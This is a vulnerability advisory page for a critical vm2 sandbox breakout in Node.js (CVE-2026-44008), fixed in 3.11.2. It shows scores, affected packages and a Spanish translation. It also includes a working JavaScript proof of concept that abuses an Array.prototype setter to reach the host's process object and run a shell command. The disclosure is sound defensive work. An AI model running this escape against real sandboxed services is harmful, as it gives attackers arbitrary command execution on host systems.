9.8critical
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
- Severity
- 9.8critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 1.04% (higher than 64% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-9qj6-qjgg-37qq
Description
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| patriksimek vm2 | < 3.11.2 | CVE List |
| ansible-automation-platform/automation-portal | Not specified Not affected: from 1785854226 before * | CVE List |
| rhdh/rhdh-hub-rhel9 | Not specified | CVE List |
| vm2 (npm) | before 3.11.2 | GitHub Advisory Database |
| vm2_project vm2 | before 3.11.2 | NVD |
All scores
| GitHub_M | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| redhat-SADP | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
What each source says
CVE List
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.
GitHub Advisory Database
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
set(value) {
a.f = Buffer.prototype.inspect;
value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
});
new Buffer(a);
`));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
NVD (es)
vm2 es una vm/sandbox de código abierto para Node.js. Antes de la 3.11.2, el nuevo método neutralizeArraySpeciesBatch funciona con objetos del otro lado, pero puede llamar a este lado a través de un getter en el prototipo del array, exponiendo objetos del lado incorrecto en la sandbox. Esto puede usarse para obtener objetos del host y obtener el objeto Function del host. Esto permite a los atacantes escribir código que puede escapar de la sandbox de VM2 y ejecutar comandos arbitrarios en el sistema host. Esta vulnerabilidad está corregida en la 3.11.2.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-44008 changed 2026-11-04 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-9qj6-qjgg-37qq changed 2026-11-04 | CC-BY-4.0 |
| NVD | CVE-2026-44008 changed 2026-11-04 | Public domain |